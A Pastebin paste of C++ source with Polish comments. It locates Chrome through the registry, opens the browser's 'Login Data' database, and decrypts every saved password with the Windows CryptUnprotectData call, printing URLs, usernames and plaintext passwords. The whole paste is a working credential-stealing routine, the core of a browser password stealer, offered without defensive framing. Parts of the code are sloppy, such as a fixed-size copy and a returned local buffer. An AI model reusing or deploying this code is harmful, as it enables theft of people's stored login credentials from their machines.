Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <windows.h>
- #include <iostream>
- #include "sqlite3.h"
- #include <ShlObj.h>
- using namespace std;
- #pragma comment(lib,"crypt32")
- char * readRegistryValue() { //Sprawdzamy gdzie zainstalowany jest chrome wyciągając odpowiednią wartość z rejestru
- LPCSTR value = "Path";
- HKEY hkey = NULL;
- char * sk = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe";
- if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, sk, 0, KEY_READ, &hkey) != ERROR_SUCCESS)
- {
- return NULL;
- }
- char path[MAX_PATH] = { 0 };
- DWORD dw = 260;
- RegQueryValueEx(hkey, value, 0, 0, (BYTE *)path, &dw);
- RegCloseKey(hkey);
- char *ret = new char[strlen(path) + 1];
- strcpy(ret, path);
- return ret;
- //delete[]ret;
- }
- char *Crack(BYTE *pass) { // podając jako parametr typu BLOB (binarnie) z bazy danych deszyfrujemy hasło chrome
- DATA_BLOB in;
- DATA_BLOB out;
- BYTE trick[1024];
- memcpy(trick, pass, 1024);// kopiujemy do tablcy trick aby użyć sizeof i znać długość ciągu kodu binarnego
- int size = sizeof(trick) / sizeof(trick[0]);
- in.pbData = pass;
- in.cbData = size + 1;
- char str[1024] = "";
- if (CryptUnprotectData(&in, NULL, NULL, NULL, NULL, 0, &out)) { // Funkcja z win api analogiczne do CryptProtectData - działa w drugą stronę
- for (int i = 0; i<out.cbData; i++)
- str[i] = out.pbData[i];
- str[out.cbData] = '\0';
- return str;
- }
- else
- return NULL; //Błąd deszyfrowaia
- }
- bool getPath(char *ret, int id) { // Funkcja ustawia w ret drugą część ścieżki - / .../AppData/Local
- memset(ret, 0, sizeof(ret));
- if (SUCCEEDED(SHGetFolderPath(NULL, id | CSIDL_FLAG_CREATE, NULL, SHGFP_TYPE_CURRENT, ret)))
- return true;
- return false;
- }
- void main() {
- char *installPath = readRegistryValue();
- if (installPath != NULL) {
- printf("Installed in: %s\n", installPath);
- sqlite3_stmt *stmt;
- sqlite3 *db;
- char databasePath[260];
- getPath(databasePath, 0x1C);
- strcat(databasePath, "\\Google\\Chrome\\User Data\\Default\\Login Data"); // Łączenie ścieżek do Login Data (hasła) w jedną całą ścieżkę do tej bazy
- cout << endl << "DB Path: " << databasePath;
- char *query = "SELECT origin_url, username_value, password_value FROM logins"; //Zapytanie 'wydobywające" zawartości kolumn z bazy danych
- if (sqlite3_open(databasePath, &db) == SQLITE_OK) { // otwieramy bazę
- if (sqlite3_prepare_v2(db, query, -1, &stmt, 0) == SQLITE_OK) { // przygotowujemy bazę do pracy z nią
- //Poniżej czytamy dane z bazy
- while (sqlite3_step(stmt) == SQLITE_ROW) {//Dopóki są dane w bazie
- char *url = (char *)sqlite3_column_text(stmt, 0);
- char *username = (char *)sqlite3_column_text(stmt, 1);
- BYTE *password = (BYTE *)sqlite3_column_text(stmt, 2); //Zaszyfrowane pole hasła - wywołujemy z jego zawartością Crack
- printf("Url: %s\n", url);
- printf("Username: %s\n", username);
- char *decrypted = Crack(password); // Wywołanie najważniejszej funkcji Crack
- printf("Password: %s\n", decrypted);
- }
- }
- else {
- printf("Error preparing db!\n");
- }
- sqlite3_finalize(stmt);
- sqlite3_close(db);
- }
- else {
- printf("Error opening db!\n");
- }
- }
- else {
- printf("Chrome not installed!\n");
- }
- delete[]installPath;
- cin.get();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement